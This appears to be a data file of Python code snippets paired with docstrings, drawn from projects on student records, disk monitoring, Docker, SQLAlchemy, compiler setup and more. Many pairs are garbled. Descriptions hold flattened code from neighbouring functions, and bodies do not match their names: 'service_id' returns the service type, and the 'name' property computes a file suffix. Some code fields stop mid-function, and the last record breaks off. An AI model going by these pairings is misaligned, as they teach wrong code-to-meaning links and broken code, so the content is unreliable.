('ARSP', 'Completed Special'),\n ('TRIN', 'Transferred from another department'),\n ('TROU', 'Transferred to another department'),\n ('DELE', 'Deleted Record'),\n ('DEFR', 'Deferred'),\n ('GAPL', 'Applied for Graduation'),\n ('GAPR', 'Graduation Approved'),\n ('WAIT', 'Waitlisted'),\n )\nSTATUS_APPLICANT = ('APPL', 'INCO', 'COMP', 'INRE', 'HOLD', 'OFFO', 'REJE', 'DECL', 'EXPI', 'CONF', 'CANC', 'ARIV',\n 'DEFR', 'WAIT')\nSTATUS_CURRENTAPPLICANT = ('INCO', 'COMP', 'INRE', 'HOLD', 'OFFO', 'WAIT')\nSTATUS_ACTIVE = ('ACTI', 'PART', 'NOND')\nSTATUS_GPA = ('GAPL', 'GAPR',) + STATUS_ACTIVE\nSTATUS_DONE = ('WIDR', 'GRAD', 'GONE', 'ARSP', 'GAPL', 'GAPR')\nSTATUS_INACTIVE = ('LEAV',) + STATUS_DONE\nSTATUS_OBSOLETE = ('APPL', 'INCO', 'REFU', 'INRE', 'ARIV', 'GONE', 'DELE', 'TRIN', 'TROU')\nSTATUS_REAL_PROGRAM = STATUS_CURRENTAPPLICANT + STATUS_ACTIVE + STATUS_INACTIVE\nSHORT_STATUSES = dict([\n ('INCO', 'Incomp App'),\n ('COMP', 'Complete App'),\n ('INRE', 'In-Review'),\n ('HOLD', 'Hold'),\n ('OFFO', 'Offer'),\n ('REJE', 'Reject'),\n ('DECL', 'Declined'),\n ('EXPI', 'Expired'),\n ('CONF', 'Confirmed'),\n ('CANC', 'Cancelled'),\n ('ARIV', 'Arrive'),\n ('ACTI', 'Active'),\n ('PART', 'Part-Time'),\n ('LEAV', 'On-Leave'),\n ('WIDR', 'Withdrawn'),\n ('GRAD', 'Grad'),\n ('NOND', 'Non-deg'),\n ('GONE', 'Gone'),\n ('ARSP', 'Completed'),\n ('TRIN', 'Transfer in'),\n ('TROU', 'Transfer out'),\n ('DELE', 'Deleted Record'),\n ('DEFR', 'Deferred'),\n ('GAPL', 'Grad Applied'),\n ('GAPR', 'Grad Approved'),\n ('WAIT', 'Waitlisted'),\n (None, 'None'),\n])\n\nGRAD_CAMPUS_CHOICES = CAMPUS_CHOICES + (('MULTI', 'Multiple Campuses'),)\n\nTHESIS_TYPE_CHOICES = (\n ('T','Thesis'),\n ('P','Project'),\n ('E','Extended Essay'))\n\nTHESIS_OUTCOME_CHOICES = (\n ('NONE', \"None (No Outcome)\"),\n ('PASS', \"Pass (No Changes)\"),\n ('MINR', \"Pass (Minor Changes)\"),\n ('DEFR', \"Defer (Major Changes)\"),\n ('FAIL', \"Fail\"))\n\nPROGRESS_REPORT_CHOICES = (\n ('GOOD', \"Good\"),\n ('SATI', \"Satisfactory\"),\n ('CONC', \"Satisfactory with Concerns\"),\n ('UNST', \"Unsatisfactory\"))\n\n@cached(24*3600)", "nl": "REJEck for CMPT progress reports system export."} {"code": "def module(self):\n return self.template.module\n\n @property", "nl": "The Python module referenced by this :class:`.Namespace`.If the namespace references a :class:`.Template`, thenthis module is the equivalent of ``template.module``,i.e. the generated module for the template."} {"code": "def getInterval(configuration):\n", "nl": " Get the disk space interval # The default value is 50M and 5K.spaceDefault = 50 * 1024 * 1024inodeDefault = 5 * 1024interval = configuration.getVar(\"BB_DISKMON_WARNINTERVAL\")if not interval:return spaceDefault, inodeDefaultelse:# The disk space or inode interval is optional, but it should# have a correct value once it is specifiedintervalRe = re.match(r'([^,]*),?\\s*(.*)', interval)if intervalRe:intervalSpace = intervalRe.group(1)if intervalSpace:intervalSpace = convertGMK(intervalSpace)if not intervalSpace:printErr(\"Invalid disk space interval value in BB_DISKMON_WARNINTERVAL: %s\" % intervalRe.group(1))return None, Noneelse:intervalSpace = spaceDefaultintervalInode = intervalRe.group(2)if intervalInode:intervalInode = convertGMK(intervalInode)if not intervalInode:printErr(\"Invalid disk inode interval value in BB_DISKMON_WARNINTERVAL: %s\" % intervalRe.group(2))return None, Noneelse:intervalInode = inodeDefaultreturn intervalSpace, intervalInodeelse:printErr(\"Invalid interval value in BB_DISKMON_WARNINTERVAL: %s\" % interval)return None, Noneclass diskMonitor:Prepare the disk space monitor data"} {"code": "def target_expiry(self):\n return crypto_util.notAfter(self.current_target(\"cert\"))\n\n @property", "nl": "The current target certificate's expiration datetime:returns: Expiration datetime of the current target certificate:rtype: :class:`datetime.datetime`"} {"code": "def get_selected_limits(self):\n limit_names = [str(limit.text()) for limit in self.limits.checkedBoxes()]\n return [limit.strip() for limit in limit_names if limit.strip().isalnum()]", "nl": "Returns the list of selected limits.@return: The list of selected limits@rtype: list"} {"code": "def test_stringToString(self):\n self.assertNativeString(\"Hello!\", \"Hello!\")\n\n", "nl": "C{nativeString} leaves native strings as native strings."} {"code": "def svg_to_scene(filename):\n\n tree = etree.parse(filename)\n root = tree.getroot()\n cwd = os.getcwd()\n if (os.path.dirname(filename) != ''):\n os.chdir(os.path.dirname(filename))\n ret = parse_scene(root)\n os.chdir(cwd)\n return ret", "nl": "Load from a SVG file and convert to PyTorch tensors."} {"code": "def _replicated_step(inputs):\n", "nl": "Replicated evaluation step.inputs, targets = inputsoutputs = self.model(inputs)loss = tf.reduce_mean(tf.keras.losses.MSE(targets, outputs))self.eval_loss.update_state(loss)self.strategy.run(_replicated_step, args=(next(iterator),))def eval_end(self):eval_loss = self.eval_loss.result()return {\"eval_loss\": eval_loss.numpy() if self.return_numpy else eval_loss,}class TestEvaluator(standard_runner.StandardEvaluator):Implements the training and evaluation APIs for the test model."} {"code": "def expand_files(self, modules):\n result, errors = expand_modules(modules, self.config.black_list)\n for error in errors:\n message = modname = error[\"mod\"]\n key = error[\"key\"]\n self.set_current_module(modname)\n if key == \"F0001\":\n message = str(error[\"ex\"]).replace(os.getcwd() + os.sep, '')\n self.add_message(key, args=message)\n return result\n", "nl": "get modules and errors from a list of modules and handle errors"} {"code": "def dummy_config():\n \"\"\"", "nl": "Returns an instance of a Config object.dummy_config = Config(PATH_TO_DUMMY_CONFIG)return dummy_config@pytest.fixturedef dummy_dataset_1():Returns a single dummy Dataset instance after calling Dataset.load()."} {"code": "def name(self):\n name = self.name\n i = name.rfind('.')\n if 0 < i < len(name) - 1:\n return name[i:]\n else:\n return ''\n\n @property", "nl": "The final path component, if any.parts = self._partsif len(parts) == (1 if (self._drv or self._root) else 0):return ''return parts[-1]@propertydef suffix(self):The final component's last suffix, if any."} {"code": "def clone(self):\n if self.keep_best:\n self._will_clone[-1] = False\n self.perform_clone()\n self.update_data()\n", "nl": "The clone operator aims to change the distribution of walkers in the state space, bycloning some walkers to a randomly chosen companion. After cloning, the distribution ofwalkers will be closer to the reward distribution of the state space.1 - Choose a random companion who is alive.2 - Calculate the probability of cloning based on their virtual reward relationship.3 - Clone if p > random[0,1] or the walker is dead."} {"code": "def insert(self, objects, index=0):\n objects = (objects,)\n for child in objects:\n if isinstance(child, Element):\n self.children.insert(index, child)\n child.parent = self\n else:\n raise Exception('append %s not-valid' % child.__class__.__name__)\n return self\n", "nl": "Insert an L{Element} content at the specified index.@param objects: A (single|collection) of attribute(s) or element(s)to be added as children.@type objects: (L{Element}|L{Attribute})@param index: The position in the list of children to insert.@type index: int@return: self@rtype: L{Element}"} {"code": "def _publish_html_str(html_str: str, path: str):\n if not (path is None or path.startswith(\"~\")):\n return path", "nl": "Publish a string of html.with config.remote_open(path, \"w\") as f:f.write(html_str)return config.remote_path_to_url(path)def expand_base_publish_path(path, default_suffix=\".html\"):Expand ~/, ~~/, ~~~/ and None paths."} {"code": "def test_processAlias(self):\n sh = FilePath(self.mktemp())\n sh.setContent(\"\"\"\\\n os.chmod(sh.path, 0o700)\n a = mail.alias.ProcessAlias(sh.path, None, None)\n m = a.createMessageReceiver()\n\n for l in self.lines:\n m.lineReceived(l)\n", "nl": "Standard call to C{mail.alias.ProcessAlias}: check that the specifiedscript is called, and that the input is correctly transferred to it."} {"code": "def __init__(self, annotation_file=None):\n self.dataset,self.anns,self.cats,self.imgs = dict(),dict(),dict(),dict()", "nl": "Constructor of Microsoft COCO helper class for reading and visualizing annotations.:param annotation_file (str): location of annotation file:param image_folder (str): location to the folder that hosts images.:return:"} {"code": "def _update_title_windows(mystr):\n if isinstance(data, six.string_types):\n return \"'\" + data + \"'\"\n elif isinstance(data, tuple):\n unicode_data = \"(\"\n for value in data:\n if unicode_data != \"(\":\n unicode_data += \", \"\n unicode_data += _unicode_representation(value)\n unicode_data += \")\"\n return unicode_data\n elif isinstance(data, list):\n unicode_data = \"[\"\n for value in data:\n if unicode_data != \"[\":\n unicode_data += \", \"\n unicode_data += _unicode_representation(value)\n unicode_data += \"]\"\n return unicode_data\n if six.PY3:\n return str(data).encode(\"utf-8\")\n return unicode(data)\n\n", "nl": " Update Title Windows if _console and config_title(sys.stdout):_console.title(txt=mystr)def _unicode_representation(data): Return an unicode representation of a data "} {"code": "def _parse_simple_section(lines):\n section = \"NO_SECTION\"", "nl": "Parse a simple dnadiff report section.results = {}for line in lines:tmp = re.split(\"\\s+\", line)if '%' not in tmp[1] and '%' not in tmp[2]:results[tmp[0]] = Property(float(tmp[1]), float(tmp[2]))else:ref_prop, ref_prop_perc = _parse_percent_field(tmp[1])query_prop, query_prop_perc = _parse_percent_field(tmp[2])results[tmp[0]] = PropertyWithPerc(ref_prop, ref_prop_perc, query_prop, query_prop_perc)return resultsdef _parse_complex_section(lines):Parse a complex dnadiff report section."} {"code": "def service_id(self):\n return self.service_info[\"ServiceType\"]\n", "nl": "Return the service ID of the Plex music service.return self.service_info[\"ServiceID\"]@propertydef service_type(self):Return the service type of the Plex music service."} {"code": "def _find_host_port(ports: Dict[str, Any], container_port: int) -> str:\n mappings = ports.get('{}/tcp'.format(container_port))\n if mappings:\n return mappings[0].get('HostPort')\n else:\n raise ValueError(\n 'No HostPort found for ContainerPort={} (all port mappings: {})'\n .format(container_port, ports))\n\n\nclass LocalDockerRunner(base_runner.BaseModelServerRunner):\n \"\"\"A model server runner that runs in a local docker runtime.\n", "nl": "Find host port from container port mappings.`ports` is a nested dictionary of the following structure:{'8500/tcp': [{'HostIp': '0.0.0.0', 'HostPort': '32769'}],'8501/tcp': [{'HostIp': '0.0.0.0', 'HostPort': '32768'}]}Args:ports: Dictionary of docker container port mapping.container_port: Corresponding container port you're looking for.Returns:A found host port.Raises:ValueError: No corresponding host port was found."} {"code": "def _test_regrefs(self, reg):\n temp = []\n for rr in reg:\n if isinstance(rr, RegRef):", "nl": "Make sure reg is a valid selection of subsystems, convert them to RegRefs.A register reference is valid if it is properly recorded in self.reg_refsand has not been deleted. The selection is valid if it contains onlyvalid RegRefs and no subsystem is repeated.Args:reg (Iterable[int, RegRef]): subsystem referencesReturns:list[RegRef]: converted subsystem referencesRaises:.RegRefError: if an invalid subsystem reference is found"} {"code": "def test_admin_organization_add_view(self):\n user = UserFactory(is_staff=True, is_superuser=True)\n self.client.login(username=user.username, password=\"password\")\n\n url = reverse(\"admin:courses_organization_add\")\n response = self.client.get(url, follow=True)\n\n self.assertContains(response, \"id_code\")\n", "nl": "The admin add view should work for organizations"} {"code": "def hexdigest(self):\n\n return \"\".join([\"%02x\" % bord(x) for x in tuple(self.digest())])\n", "nl": "Return the **printable** digest of the message that has beenhashed so far.This method does not change the state of the hash object.:Return: A string of 2* `digest_size` characters. It contains onlyhexadecimal ASCII digits."} {"code": "def __nonzero__(self):\n return self.ok\n", "nl": "Returns True if :attr:`status_code` is less than 400.This attribute checks if the status code of the response is between400 and 600 to see if there was a client error or a server error. Ifthe status code, is between 200 and 400, this will return True. Thisis **not** a check to see if the response code is ``200 OK``."} {"code": "def __init__(self):\n self.called = False\n", "nl": "Sets up members"} {"code": "def interact(self, personality=None):\n\n model = self.model\n args = self.args\n tokenizer = self.tokenizer\n process_count = self.args.process_count\n\n if self.args.fp16:\n from torch.cuda import amp\n\n self._move_model_to_device()\n\n if self.args.model_type in [\"blender\", \"blender-small\"]:\n if not personality:\n personality = []\n else:\n if not personality:\n dataset = get_dataset(\n tokenizer,\n None,\n args.cache_dir,\n process_count=process_count,\n proxies=self.__dict__.get(\"proxies\", None),\n interact=True,\n args=args,\n )\n personalities = [dialog[\"personality\"] for dataset in dataset.values() for dialog in dataset]\n personality = random.choice(personalities)\n else:\n personality = [tokenizer.encode(s.lower()) for s in personality]\n\n history = []\n while True:\n raw_text = input(\">>> \")\n while not raw_text:\n print(\"Prompt should not be empty!\")\n raw_text = input(\">>> \")\n history.append(\n tokenizer.encode(raw_text) if self.args.model_type not in [\"blender\", \"blender-small\"] else raw_text\n )\n with torch.no_grad():\n if args.fp16:\n with amp.autocast():\n out_ids = self.sample_sequence(personality, history, tokenizer, model, args)\n else:\n out_ids = self.sample_sequence(personality, history, tokenizer, model, args)\n history.append(out_ids)\n history = history[-(2 * args.max_history + 1) :]\n if self.args.model_type in [\"blender\", \"blender-small\"]:\n out_text = out_ids\n else:\n out_text = tokenizer.decode(out_ids, skip_special_tokens=self.args.skip_special_tokens)\n print(out_text)\n print(history)\n", "nl": "Interact with a model in the terminal.Args:personality: A list of sentences that the model will use to build a personality.Returns:None"} {"code": "def _create_actions(self):\n Creates a new tab with a fixed layout\n \"\"\"", "nl": " Create and connect actions, store in _actions dict self._actions = {}a = action(\"&New Data Viewer\", self,tip=\"Open a new visualization window in the current tab\",shortcut=QtGui.QKeySequence.New)a.triggered.connect(self._choose_new_data_viewer_nodata)self._actions['viewer_new'] = aif len(qt_client.members) == 0:a.setEnabled(False)a = action(\"New Fixed Layout Tab\", self,tip=\"Create a new tab with a fixed layout\")a.triggered.connect(self.choose_new_fixed_layout_tab)self._actions['fixed_layout_tab_new'] = aif len(qt_fixed_layout_tab.members) == 0:a.setEnabled(False)a = action('New &Tab', self,shortcut=QtGui.QKeySequence.AddTab,tip='Add a new tab')a.triggered.connect(self.new_tab)self._actions['tab_new'] = aa = action('&Rename Tab', self,shortcut=\"Ctrl+R\",tip='Set a new label for the current tab')a.triggered.connect(nonpartial(self.tab_bar.choose_rename_tab))self._actions['tab_rename'] = aa = action('&Gather Windows', self,tip='Gather plot windows side-by-side',shortcut='Ctrl+G')a.triggered.connect(self.gather_current_tab)self._actions['gather'] = aa = action('&Export Session', self,tip='Save the current session')a.triggered.connect(self._choose_save_session)self._actions['session_save'] = a# Add file loader as first item in File menu for convenience. We then# also add it again below in the Import menu for consistency.a = action(\"&Open Data Set\", self, tip=\"Open a new data set\",shortcut=QtGui.QKeySequence.Open)a.triggered.connect(self._import_helper._choose_load_data_wizard)self._actions['data_new'] = a# We now populate the \"Import data\" menufrom glue.config import importeracts = []# Add default file loader (later we can add this to the registry)a = action(\"Import from file\", self, tip=\"Import from file\")a.triggered.connect(self._import_helper._choose_load_data_wizard)acts.append(a)for label, data_importer in importer:a = action(label, self, tip=label)a.triggered.connect(nonpartial(self._import_helper._choose_load_data, data_importer))acts.append(a)self._actions['data_importers'] = actsfrom glue.config import exportersif len(exporters) > 0:acts = []for e in exporters:label, saver, checker, mode = ea = action(label, self,tip='Export the current session to %s format' %label)a.triggered.connect(nonpartial(self._export_helper._choose_export_session,saver, checker, mode))acts.append(a)self._actions['session_export'] = actsa = action('Open S&ession', self,tip='Restore a saved session')a.triggered.connect(self._restore_session)self._actions['session_restore'] = aa = action('Reset S&ession', self,tip='Reset session to clean state')a.triggered.connect(self._reset_session)self._actions['session_reset'] = aa = action('Export D&ata/Subsets', self,tip='Export data to a file')a.triggered.connect(self._choose_save_data)self._actions['export_data'] = aa = action(\"Undo\", self,tip='Undo last action',shortcut=QtGui.QKeySequence.Undo)a.triggered.connect(self.undo)a.setEnabled(False)self._actions['undo'] = aa = action(\"Redo\", self,tip='Redo last action',shortcut=QtGui.QKeySequence.Redo)a.triggered.connect(self.redo)a.setEnabled(False)self._actions['redo'] = a# Create actions for menubar pluginsfrom glue.config import menubar_pluginacts = []for label, function in menubar_plugin:a = action(label, self, tip=label)a.triggered.connect(nonpartial(function,self.session,self.data_collection))acts.append(a)self._actions['plugins'] = actsa = action('&Plugin Manager', self,tip='Open plugin manager')a.triggered.connect(self.plugin_manager)self._actions['plugin_manager'] = adef undo(self, *args):super(GlueApplication, self).undo()def redo(self, *args):super(GlueApplication, self).redo()def choose_new_fixed_layout_tab(self, *args):"} {"code": "def prohibit_scene(self, lane: AbstractLane, longitude_position: float, lateral_len: float, on_left=False):\n lat_num = int(lateral_len / self.CONE_LATERAL)\n longitude_num = int(self.ACCIDENT_AREA_LEN / self.CONE_LONGITUDE)\n lat_1 = [lat * self.CONE_LATERAL for lat in range(lat_num)]\n lat_2 = [lat_num * self.CONE_LATERAL] * (longitude_num + 1)\n lat_3 = [(lat_num - lat - 1) * self.CONE_LATERAL for lat in range(int(lat_num))]\n\n total_long_num = lat_num * 2 + longitude_num + 1\n pos = [\n (long * self.CONE_LONGITUDE, lat - lane.width / 2)\n for long, lat in zip(range(-int(total_long_num / 2), int(total_long_num / 2)), lat_1 + lat_2 + lat_3)\n ]\n left = 1 if on_left else -1\n for p in pos:\n p_ = (p[0] + longitude_position, left * p[1])\n cone = self.spawn_object(TrafficCone, lane=lane, longitude=p_[0], lateral=p_[1])\n cone", "nl": "Generate an accident scene on the most left or most right lane:param lane lane object:param longitude_position: longitude position of the accident on the lane:param lateral_len: the distance that traffic cones extend on lateral direction:param on_left: on left or right side:return: None"} {"code": "def get_last_successful_tasks(self):\n\n data = self.client.query(last_successful_task_end_date)\n result = {}\n\n for row in data:\n row['dag_name'] = clean_dag_id(row['dag_id'])\n key = row['dag_name'] + row['task_id']\n if key in result and result[key].end_date > row['end_date']:\n continue\n result[key] = TaskInstance(**row)\n\n return list(result.values())\n", "nl": "last_successful_task_end_date = SELECT dag_id, task_id, max(end_date) as end_dateFROM task_instanceWHERE state = \"success\" AND end_date is not nullGROUP BY dag_id, task_id"} {"code": "def topk_result(self, metric, value):\n metric_dict = {}\n avg_result = value.mean(axis=0)\n for k in self.topk:\n key = '{}@{}'.format(metric, k)\n metric_dict[key] = round(avg_result[k - 1], self.decimal_place)\n return metric_dict\n", "nl": "Match the metric value to the `k` and put them in `dictionary` form.Args:metric(str): the name of calculated metric.value(numpy.ndarray): metrics for each user, including values from `metric@1` to `metric@max(self.topk)`.Returns:dict: metric values required in the configuration."} {"code": "def _attr_native_unit_of_measurement(self):\n if self.instrument.device_class is None or self.instrument.device_class in DEVICE_CLASSES:\n return self.instrument.device_class\n _LOGGER.warning(f\"Unknown device class {self.instrument.device_class}\")\n return None\n\n @property", "nl": "Return the unit of measurement.return self.instrument.unit@propertydef device_class(self) -> Union[SensorDeviceClass, None]:Return the device class."} {"code": "def test__prepare_resolv_conf(self):\n overlay_dir = os.path.join(self.container_dir, 'overlay')\n os.walk.return_value = [\n (overlay_dir + '/etc', ['foo'], ['hosts', 'resolv.conf', 'baz']),\n (overlay_dir + '/etc/foo', [], ['bar']),\n ]\n\n native._bind_overlay(self.container_dir, self.root)\n\n treadmill.fs.linux.mount_bind.assert_has_calls(\n [\n mock.call(self.root, '/etc/hosts',\n source=os.path.join(overlay_dir, 'etc', 'hosts'),\n read_only=True, recursive=False),\n mock.call(self.root, '/etc/resolv.conf',\n source=os.path.join(overlay_dir, 'etc/resolv.conf'),\n read_only=True, recursive=False),\n mock.call(self.root, '/etc/baz',\n source=os.path.join(overlay_dir, 'etc/baz'),\n read_only=True, recursive=False),\n mock.call(self.root, '/etc/foo/bar',\n source=os.path.join(overlay_dir, 'etc/foo/bar'),\n read_only=True, recursive=False),\n mock.call(self.root, '/run/host-aliases',\n source=os.path.join(\n overlay_dir, 'run', 'host-aliases'\n ),\n read_only=False, recursive=False),\n mock.call('/', '/etc/resolv.conf',\n source=os.path.join(overlay_dir, 'etc/resolv.conf'),\n read_only=True, recursive=False)\n ],\n any_order=True\n )\n\n\nif __name__ == '__main__':\n unittest.main()", "nl": "Test preparing resolv conf.# access protected module _prepare_resolv_conf# pylint: disable=w0212native._prepare_resolv_conf(self.tm_env, self.container_dir)etc_dir = os.path.join(self.container_dir, 'overlay', 'etc')os.path.exists.assert_called_once_with(os.path.join(self.tm_env.root, 'etc', 'resolv.conf'))shutil.copyfile.assert_has_calls([mock.call(os.path.join(self.tm_env.root, 'etc', 'resolv.conf'),os.path.join(etc_dir, 'resolv.conf'))])@mock.patch('os.walk', mock.MagicMock(spec_set=True))@mock.patch('treadmill.fs.linux.mount_bind', mock.Mock(spec_set=True))def test__bind_overlay(self):Test binding overlay."} {"code": "def dispose(self):\n self.pool.dispose()\n self.pool = self.pool.recreate()\n self.dispatch.engine_disposed(self)\n", "nl": "Dispose of the connection pool used by this :class:`.Engine`.This has the effect of fully closing all **currently checked in**database connections. Connections that are still checked outwill **not** be closed, however they will no longer be associatedwith this :class:`.Engine`, so when they are closed individually,eventually the :class:`.Pool` which they are associated with willbe garbage collected and they will be closed out fully, ifnot already closed on checkin.A new connection pool is created immediately after the old one hasbeen disposed. This new pool, like all SQLAlchemy connection pools,does not make any actual connections to the database until one isfirst requested, so as long as the :class:`.Engine` isn't used again,no new connections will be made... seealso:::ref:`engine_disposal`"} {"code": "def count_params(module, trainable_only=True):\n parameters = module.parameters()\n if trainable_only:\n parameters = filter(lambda p: p.requires_grad, parameters)\n num = sum([np.prod(p.size()) for p in parameters])\n return num\n", "nl": "Count the number of parameters in amodule.:param module: PyTorch module:param trainable_only: only count trainableparameters.:returns: number of parameters:rtype:"} {"code": "def enable_project(self, project):\n if self.config_file == None:\n raise InvalidOperation('enable_project')\n logger.debug('Enabling project {}'.format(project))\n enabled_projects = self.list_enabled_projects()\n enabled_projects.append(project)\n enabled_projects.sort()\n self.config_parser.set('DEFAULT', 'sync_projects', ' '.join(enabled_projects))\n", "nl": "Enable a project adding it to sync_projects:param project: project name"} {"code": "def set_cursor_pos(window, xpos, ypos):\n _glfw.glfwSetCursorPos(window, xpos, ypos)\n\n_key_callback_repository = {}\n_callback_repositories.append(_key_callback_repository)\n_glfw.glfwSetKeyCallback.restype = _GLFWkeyfun\n_glfw.glfwSetKeyCallback.argtypes = [ctypes.POINTER(_GLFWwindow),\n _GLFWkeyfun]", "nl": "Sets the position of the cursor, relative to the client area of the window.Wrapper for:void glfwSetCursorPos(GLFWwindow* window, double xpos, double ypos);"} {"code": "def __init__(self, address, client, username, password, port, remote_path):\n self.address = address\n self.client = client\n self.port = port\n self.username = username\n self.password = password\n self.remote_path = remote_path\n\n if self.client == \"nc\":\n self.cp_client = \"rss\"\n self.cp_port = 10023\n elif self.client == \"ssh\":\n self.cp_client = \"scp\"\n self.cp_port = 22\n else:\n raise LoginBadClientError(client)\n", "nl": "Initialization of Remote Package class.:param address: Address of remote host(guest):param client: The client to use ('ssh', 'telnet' or 'nc'):param username: Username (if required):param password: Password (if requried):param port: Port to connect to:param remote_path: Rmote package path"} {"code": "def customize_compiler(compiler):\n posix_build = None\n if compiler.compiler_type == \"unix\":\n posix_build = True\n elif compiler.compiler_type == \"mingw32\":\n if sys.version.find('GCC') >= 0:\n posix_build = True\n if posix_build == True:\n if sys.platform == \"darwin\":\n global _config_vars\n if not _config_vars.get('CUSTOMIZED_OSX_COMPILER', ''):\n import _osx_support\n _osx_support.customize_compiler(_config_vars)\n _config_vars['CUSTOMIZED_OSX_COMPILER'] = 'True'\n\n (cc, cxx, opt, cflags, ccshared, ldshared, so_ext, ar, ar_flags) = \\\n get_config_vars('CC', 'CXX', 'OPT', 'CFLAGS',\n 'CCSHARED', 'LDSHARED', 'SO', 'AR',\n 'ARFLAGS')\n\n newcc = None\n if 'CC' in os.environ:\n cc = os.environ['CC']\n if 'CXX' in os.environ:\n cxx = os.environ['CXX']\n if 'LDSHARED' in os.environ:\n ldshared = os.environ['LDSHARED']\n if 'CPP' in os.environ:\n cpp = os.environ['CPP']\n else:\n cpp = cc + \" -E\"\n if 'LDFLAGS' in os.environ:\n ldshared = ldshared + ' ' + os.environ['LDFLAGS']\n if 'CFLAGS' in os.environ:\n cflags = opt + ' ' + os.environ['CFLAGS']\n ldshared = ldshared + ' ' + os.environ['CFLAGS']\n if 'CPPFLAGS' in os.environ:\n cpp = cpp + ' ' + os.environ['CPPFLAGS']\n cflags = cflags + ' ' + os.environ['CPPFLAGS']\n ldshared = ldshared + ' ' + os.environ['CPPFLAGS']\n if 'AR' in os.environ:\n ar = os.environ['AR']\n if 'ARFLAGS' in os.environ:\n archiver = ar + ' ' + os.environ['ARFLAGS']\n else:\n archiver = ar + ' ' + ar_flags\n\n cc_cmd = cc + ' ' + cflags\n compiler.set_executables(\n preprocessor=cpp,\n compiler=cc_cmd,\n compiler_so=cc_cmd + ' ' + ccshared,\n compiler_cxx=cxx,\n linker_so=ldshared,\n linker_exe=cc,\n archiver=archiver)\n\n compiler.shared_lib_extension = so_ext\n\n", "nl": "Do any platform-specific customization of a CCompiler instance.Mainly needed on Unix, so we can plug in the information thatvaries across Unices and is stored in Python's Makefile.NOTE: (known limitation of python build/install system)In cross-build environment make macros like CC and LDSHAREDcontain cross-compiler/linker instead of host compiler/linker."} {"code": "def _perform(self, domain, validation_name, validation): # pragma: no cover\n raise NotImplementedError()\n\n @abc.abstractmethod", "nl": "Performs a dns-01 challenge by creating a DNS TXT record.:param str domain: The domain being validated.:param str validation_domain_name: The validation record domain name.:param str validation: The validation record content.:raises errors.PluginError: If the challenge cannot be performed"} {"code": "def application_data(self) -> bytes:\n The access control list (ACL) is used to specify a list of individual\n access control entries (ACEs). An ACL and an array of ACEs comprise a\n complete access control list.\n\n :param ACLRevision revision: the revision of the ACL.\n :param List[ACE] aces: list of :class:`ACE`.\n \"\"\"", "nl": " The possible application data. return self.__application_dataclass ACL:"} {"code": "def make_default_options_response(self):\n adapter = _request_ctx_stack.top.url_adapter\n if hasattr(adapter, \"allowed_methods\"):\n methods = adapter.allowed_methods()\n else:\n methods = []\n try:\n adapter.match(method=\"--\")\n except MethodNotAllowed as e:\n methods = e.valid_methods\n except HTTPException:\n pass\n rv = self.response_class()\n rv.allow.update(methods)\n return rv\n", "nl": "This method is called to create the default ``OPTIONS`` response.This can be changed through subclassing to change the defaultbehavior of ``OPTIONS`` responses... versionadded:: 0.7"} {"code": "def update(self, pbar, width):\n", "nl": "Updates the progress bar and its subcomponents.left, marked, right = (format_updatable(i, pbar) for i in(self.left, self.marker, self.right))width -= len(left) + len(right)# Marked must *always* have length of 1if pbar.maxval:marked *= int(pbar.currval / pbar.maxval * width)else:marked = ''if self.fill_left:return '%s%s%s' % (left, marked.ljust(width, self.fill), right)else:return '%s%s%s' % (left, marked.rjust(width, self.fill), right)class ReverseBar(Bar):A bar which has a marker which bounces from side to side."} {"code": "def test_odd_photon_numbers(self, k, nmax):\n constituent orbits of the given event are summed correctly. The test monkeypatches the fock_prob\n function so that the probability is the same for each sample permutation of all constituent orbits\n and is equal to 1/8. For a 4-mode graph, an event with ``photon_number = 2``, and\n ``max_count_per_mode = 1`` contains orbit [1, 1] which has 6 possible sample permutations.\"\"\"", "nl": "Test if function returns zero probability for odd number of total photons.graph = nx.complete_graph(10)assert similarity.prob_event_exact(graph, k, nmax) == 0.0def test_correct_result_returned(self, monkeypatch):Tests if the call to _get_state function is performed correctly and probabilities over all"} {"code": "def prec_xgb(n_trees, max_depth, X_train, y_train, X_test, y_test, learning_rate=0.1):\n import xgboost as xgb\n X_train = X_train.reshape((X_train.shape[0], -1))\n X_test = X_test.reshape((X_test.shape[0], -1))\n LOGGER.info('start predict: n_trees={},X_train.shape={},y_train.shape={},X_test.shape={},y_test.shape={}'.format(\n n_trees, X_train.shape, y_train.shape, X_test.shape, y_test.shape))\n clf = xgb.XGBClassifier(n_estimators=n_trees, max_depth=max_depth, objective='multi:softprob',\n seed=0, silent=True, nthread=-1, learning_rate=learning_rate)\n eval_set = [(X_test, y_test)]\n clf.fit(X_train, y_train, eval_set=eval_set, eval_metric=\"merror\")\n y_pred = clf.predict(X_test)\n prec = float(np.sum(y_pred == y_test)) / len(y_test)\n LOGGER.info('prec_xgb_{}={:.6f}%'.format(n_trees, prec*100.0))\n return clf, y_pred\n", "nl": "ExtraTrees"} {"code": "def create_context(self):\n return NubiaSuzieqContext()\n", "nl": "Must create an object that inherits from `Context` parent class.The plugin can return a custom context but it has to inherit from thecorrect parent class."} {"code": "def load_layer_parameter(layer, layer_data):\n session = tf_utils.tensorflow_session()\n\n for param_name, param_data in layer_data['parameters'].items():\n parameter = getattr(layer, param_name)\n\n if not isinstance(parameter, tf.Variable):\n raise ParameterLoaderError(\n \"The `{}` parameter from the `{}` layer expected to be \"\n \"instance of the tf.Variable, but current value equal to {}. \"\n \"Layer: {}\".format(param_name, layer.name, parameter, layer))\n\n parameter.load(asfloat(param_data['value']), session)\n\n", "nl": "Set layer parameters to the values specified in thestored data"} {"code": "def make_node(self, *inputs):\n assert numpy.all(isinstance(i, gof.Variable) for i in inputs)\n n_outer_ins = len(inputs) - len(self.outer_nitsot(inputs)) - 1\n n_inner_ins = (len(self.inner_seqs(self.inputs)) +\n len(self.mitmot_taps()) +\n len(self.mitsot_taps()) +\n len(self.inner_sitsot(self.inputs)) +\n len(self.inner_shared(self.inputs)) +\n len(self.inner_non_seqs(self.inputs)))\n assert n_outer_ins == n_inner_ins, \\\n (\"The number of inputs given to the inner function of scan\"\n \" does not match the number of inputs given to scan.\")\n new_inputs = [inputs[0]]\n err_msg1 = ('When compiling the inner function of scan (the '\n 'function called by scan in each of its iterations) '\n 'the following error has been encountered: The '\n '%s %s (argument number %d) has dtype '\n '%s and %d dimension(s). The corresponding variable '\n 'in the inner function of scan %s '\n 'however has dtype %s and %d dimension(s). This '\n 'variable in the inner function of scan should '\n 'have the same dtype and one fewer dimension '\n 'compared to its corresponding variable in the initial '\n 'state (outputs_info in scan nomenclature). For example, '\n 'if the inner function of scan returns a vector '\n 'of size d and 